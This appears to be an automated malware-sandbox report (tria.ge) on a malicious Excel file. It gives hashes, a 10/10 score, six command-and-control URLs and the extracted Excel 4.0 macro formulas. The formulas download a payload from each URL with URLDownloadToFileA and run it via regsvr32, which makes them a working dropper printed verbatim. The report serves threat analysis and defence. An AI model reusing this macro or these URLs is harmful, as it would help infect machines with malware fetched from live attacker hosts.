Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    26b12d503b0027466c65b6cee0624e62ee6fcca611bf4249de99edd45c76b36f

  • Size

    46KB

  • Sample

    241111-zv116szkgj

  • MD5

    dcb5ebac1417515fdddf4ed86c632401

  • SHA1

    9f217903f76c07a879d93fc5e1baa9269aa22f6c

  • SHA256

    26b12d503b0027466c65b6cee0624e62ee6fcca611bf4249de99edd45c76b36f

  • SHA512

    03386da7d6780cdaa41724dec31b8e8b3cda2ec706de4f5a2441eb031f8109f83b17d289147fff2fac9096d1c79c8936f0db31cfaae25c7643ce631850354694

  • SSDEEP

    768:aeoPDOevZCwrvtQazdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2etZF:JoPDFtT5fTR4Lh1NisFYBc3cr+UqVUJ/

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/

https://pakistannakliye.com/wp-admin/dyfAdRkv7/

https://spinoffyarnshop.com/content/YQlmbLaB/

http://murtjizindustry.com/wp-content/yI6/

http://nazrultheking.com/wp-includes/LZ/

http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pakistannakliye.com/wp-admin/dyfAdRkv7/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://spinoffyarnshop.com/content/YQlmbLaB/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://murtjizindustry.com/wp-content/yI6/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://nazrultheking.com/wp-includes/LZ/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/

xlm40.dropper

https://pakistannakliye.com/wp-admin/dyfAdRkv7/

xlm40.dropper

https://spinoffyarnshop.com/content/YQlmbLaB/

xlm40.dropper

http://murtjizindustry.com/wp-content/yI6/

xlm40.dropper

http://nazrultheking.com/wp-includes/LZ/

xlm40.dropper

http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/

Targets

    • Target

      26b12d503b0027466c65b6cee0624e62ee6fcca611bf4249de99edd45c76b36f

    • Size

      46KB

    • MD5

      dcb5ebac1417515fdddf4ed86c632401

    • SHA1

      9f217903f76c07a879d93fc5e1baa9269aa22f6c

    • SHA256

      26b12d503b0027466c65b6cee0624e62ee6fcca611bf4249de99edd45c76b36f

    • SHA512

      03386da7d6780cdaa41724dec31b8e8b3cda2ec706de4f5a2441eb031f8109f83b17d289147fff2fac9096d1c79c8936f0db31cfaae25c7643ce631850354694

    • SSDEEP

      768:aeoPDOevZCwrvtQazdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2etZF:JoPDFtT5fTR4Lh1NisFYBc3cr+UqVUJ/

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks